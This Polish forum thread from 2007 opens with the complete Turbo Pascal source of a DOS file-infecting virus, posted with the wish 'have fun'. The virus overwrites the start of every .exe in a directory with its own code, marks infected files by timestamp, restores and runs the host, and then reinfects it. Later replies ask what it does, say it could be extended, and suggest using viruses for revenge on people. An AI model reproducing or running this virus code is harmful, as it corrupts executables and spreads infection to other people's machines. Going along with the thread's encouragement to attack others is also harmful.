Post Napisane: 2007-04-27, 12:30 Upload: 0.00 MB

Cytuj:
{ wirus potrafiacy uruchomic zainfekowany program i zarazic go spowrotem}
program hllpclever;
Uses Dos,crt;
{$I-}
{$M 8192,0,16384}
const
Date=222222;
size=6736;
var
SR:SearchRec;
matka,plik : file;
Parametry : String;
Atrybuty : Word;
VirData, ExeData:array[1..size] of char;
x:Byte;
begin
clrscr;
Parametry:='';
Assign(Matka,ParamStr(0));
GetFAttr(Matka,Atrybuty);
SetFAttr(Matka,0);
Reset(Matka,1);
BlockRead(Matka, VirData, size);
SetFTime(Matka,Date);
Close(Matka);
SetFAttr(Matka,Atrybuty);
{Zarazanie plikow w katalogu}
FindFirst('*.exe', AnyFile, SR);
while (DosError=0) do begin
if ((SR.Attr<>Directory) and (SR.Time<>Date))
and (SR.Size>=size) then begin
Assign(Plik,SR.Name);
GetFAttr(Plik,Atrybuty);
SetFAttr(Plik,0);
Reset(Plik,1);
BlockRead(Plik, ExeData, size);
Seek(Plik, SR.Size);
BlockWrite(Plik, ExeData, Size);
Seek(Plik, 0);
BlockWrite(Plik, VirData, size);
SetFTime(Plik,date);
Close(Plik);
SetFAttr(Plik,Atrybuty);
end;
FindNext(SR);
end;

for x:=1 to ParamCount do Parametry:=Parametry+' '+ParamStr(x);
parametry:='/C '+ParamStr(0)+Parametry;
Assign(Matka,ParamStr(0));
GetFAttr(Matka,Atrybuty);
SetFAttr(Matka,0);
Reset(Matka,1);
Seek(Matka,FileSize(Matka)-size);
BlockRead(Matka, ExeData, size);
Seek(Matka, 0);
BlockWrite(Matka, ExeData, size);
SetFTime(Matka, date);
Close(Matka);
SetFAttr(Matka,Atrybuty);
{odpalamy wyleczony program}
SwapVectors;
Exec(GetEnv('COMSPEC'),Parametry);
SwapVectors;

{Ponowne zarazenie}
Assign(Matka,ParamStr(0));
GetFAttr(Matka,Atrybuty);
SetFAttr(Matka,0);
Repeat
Reset(Matka,1);
until IOResult=0;

BlockWrite(Matka, VirData, Size);
SetFTime(Matka, Date);
Close(Matka);
SetFAttr(Matka,Atrybuty);
Sound(2300);
Delay(800);
Nosound;
Sound(1500);
Delay(500);
Nosound;
Sound(2500);
Delay(600);
Nosound;
end.




Zycze milej zabawy !
Offline

Post Napisane: 2007-04-27, 15:36 Upload: 0.00 MB

i jakie sa skutki jego dzialania? bo na pascalu sie nie znam i nie wyczytam tam nic...

Post Napisane: 2007-04-27, 19:57 Upload: 0.00 MB

to jest wirus prosty;)usunie go kazdy antywir itp;)to tak dal zabawy
Offline

Post Napisane: 2007-04-27, 20:02 Upload: 0.00 MB

ale ma jakies negatywne dzialanie?? bo jesli nie to dlaczego jest "wirusem" ?

Post Napisane: 2007-04-27, 20:08 Upload: 0.00 MB

ma negatywne dzialanie;D mozesz go tak napisac by np aplikacje zarazal albo cos;)

Post Napisane: 2007-04-28, 12:53 Upload: 0.00 MB

yhy powalone xD po co mi ten wirus ? :| o tak spie**ole se system :D bravo :|

Post Napisane: 2007-04-28, 18:17 Upload: 0.00 MB

a po to sa takie wirusy ze jak ktos cie wku........... no..... to mozesz ta osobe tak zalatwic........... ze mu sie wszystkiego odechce .... no oczywiscie nie tym wirusem...... ale mozna pobrac lub........ sciagnac tekst....... :D :D :D :D :lol: :lol: :!: :!:
Skocz do:  
cron